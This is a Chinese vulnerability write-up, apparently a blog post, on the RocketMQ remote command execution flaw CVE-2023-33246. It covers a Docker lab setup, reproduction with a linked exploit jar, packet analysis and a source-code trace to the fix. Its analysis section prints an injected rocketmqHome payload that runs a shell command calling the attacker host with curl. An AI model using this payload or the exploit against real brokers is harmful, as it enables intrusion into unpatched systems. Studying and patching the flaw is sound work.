CVE-2023-33246 RocketMQ RCE漏洞

发布时间:2023年12月21日

一、RocketMQ简介

RocketMQ是一款纯java、分布式、队列模型的开源消息中间件,主要用于在分布式系统中进行异步消息传递,支持事务消息、顺序消息、批量消息、定时消息、消息回溯等功能。
在这里插入图片描述

RocketMQ有四个核心组成部分:
NameServer:RocketMQ的服务注册中心,用于保存Broker相关元信息;
Broker:消息存储中心,接收并存储Producer的消息,Consumer从此处获得信息,Master节点可写可读,Slave节点不可写只可读;
Producer:消息生产者;
Consumer:消息消费者。 在这里插入图片描述

二、漏洞影响范围

Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5

三、环境搭建

1、拉取镜像

docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0

在这里插入图片描述

2、启动namesrv

docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

在这里插入图片描述

3、创建目录并配置broker文件

mkdir -p /mydata/rocketmq/conf/
vi /mydata/rocketmq/conf/broker.conf

在这里插入图片描述

粘贴以下内容

brokerClusterName = DefaultCluster 
brokerName = broker-a 
brokerId = 0 
deleteWhen = 04 
fileReservedTime = 48 
brokerRole = ASYNC_MASTER 
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X    #主机IP

在这里插入图片描述

4、启动broker和console

docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf


docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\
 -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\
 -Dcom.rocketmq.sendMessageWithVIPChannel=false"\
 -t apacherocketmq/rocketmq-console:2.0.0

在这里插入图片描述
访问8899端口
在这里插入图片描述
成功访问

四、漏洞复现

EXP地址:
https://github.com/Serendipity-Lucky/CVE-2023-33246

命令:

java -jar CVE-2023-33246.jar -ip "目标IP" -cmd "需要执行的命令"

远程命令执行:
在这里插入图片描述

五、漏洞分析

1、数据交互过程

使用wireshark查看10.88.80.137(靶机)和10.88.80.119(攻击机)之间的数据传输:

首先是exp向NameServer请求Broker节点的信息:

{
    "code": 105,
    "extFields": {"topic": "TBW102"},
    "flag": 0,
    "language": "JAVA",
    "opaque": 1,
    "serializeTypeCurrentRPC": "JSON",
    "version": 395
}

在这里插入图片描述

然后NameSever返回Broker节点信息:

{
    "brokerDatas":[{
        "brokerAddrs":{0: "10.88.80.137:10911"},
        "brokerName":"broker-a",
        "cluster":"DefaultCluster"
    }],
    "filterServerTable":{},
    "queueDatas": [{
        "brokerName":"broker-a",
        "perm":7,
        "readQueueNums":8,
        "topicSysFlag":0,
        "writeQueueNums":8
    }]
}

在这里插入图片描述

这之后,EXP仿冒Console节点,访问NameSerber节点获取注册Broker数据,而不需要鉴权,且数据明文传输。

filterServerNums=1
rocketmqHome=-c $@|sh . echo curl http://10.88.80.119;

在这里插入图片描述

2、EXP分析

利用DefaultMQAdminExt未鉴权的特征,使用updateBrokerConfig函数将构建的payload向Broker节点发送。
在这里插入图片描述

3、源码分析

https://rocketmq.apache.org/download/ 选择下载4.9.1 Source版本。

updateBrokerConfig() -> getConfiguration().update() 链中没有对输入校验
在这里插入图片描述
在这里插入图片描述
exp打入一次后会一直执行,推测调用props为另一条链
在这里插入图片描述
搜索exec找到callShell
在这里插入图片描述搜索callShell找到createFilterServer
在这里插入图片描述
其中buildStartCommand如下
在这里插入图片描述
在payload中,对rocketmqhome进行了赋值,故此处命令拼接造成远程命令执行。

六、修复方式

https://rocketmq.apache.org/download/ 选择下载4.9.6 Source版本。

直接把callShell删掉了
在这里插入图片描述

文章来源:https://blog.csdn.net/mirocky/article/details/135125863
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。